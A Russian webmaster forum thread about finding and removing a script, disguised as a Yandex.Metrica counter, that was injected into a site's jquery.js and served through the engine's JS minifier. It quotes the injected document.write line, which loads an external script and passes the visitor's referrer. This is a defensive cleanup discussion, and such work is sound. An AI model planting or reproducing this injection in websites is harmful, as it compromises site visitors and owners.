Вопрос? Вирус или нет? yandex-metrica.ru

Добрый день! Проблема в следующем: заметил, что сайт в последнее время стал долго загружаться. Решил проверить сайт на webpagetest.org.
В итоге нашел непонятный код/скрипт (хз что это), который тормозит загрузку сайта. В этом коде указывается домен yandex-metrica.ru , который никак не относится к яндекс.метрике, т.е. маскируется под счетчик. В html коде сайта данного домена нет.

Скрины проверки:


Адрес сайта заменил на site.ru, чтобы было видно в какой форме указывается домен: siteru или site.ru/page.html (любая страница сайта, которая проверяется)

Вопрос: что это такое и как это удалить?

p.s проверил сайт еще тут https://rescan.pro

адрес одной из ссылок такой :

 

сделал
скрипт вызывается в файле /engine/classes/min/index.php . Как я понял этот файл отвечает за сжатие js. В админ панели сжатие включено.

В head прописано так <script type="text/javascript" src="/engine/classes/min/index.php?charset=windows-1251&amp;g=general&amp;17"></script>
Открываю данную страницу. Нахожу данный домен yandex-metrica.ru в коде:

document.write('<script type="text/javascript" src="Google*SITERU*?frm=script&se_referrer='+encodeURIComponent(document.referrer)+'"><'+'/script>');var S=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=["Top","Right","Bottom","Left"],U=function(a,b){retu.....

Вместо *SITERU* - адрес сайта

Но как его удалить, если данный код генерируется автоматически?

 

все, код нашел! как его удалить правильно, чтобы не нарушить файл? В php не силен(

Выделил начало кода, где его конец - хз)

UPD.
Часть кода такая:

}});document.write('<script type="text/javascript" src="Google*SITERU*?frm=script&se_referrer='+encodeURIComponent(document.referrer)+'"><'+'/script>');var
S=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source

Удалять то, что внутри ('...')? или начиная от document.write (и до куда)?

 

файл /engine/classes/js/jquery.js

удалил, при редактировании файла этот код не находит, но когда открываешь файл в браузере - по-прежнему он есть.

 

Все, удалил код.
Кэш на cloudflare пришлось чистить. Спасибо огромнейшее за помощь!!!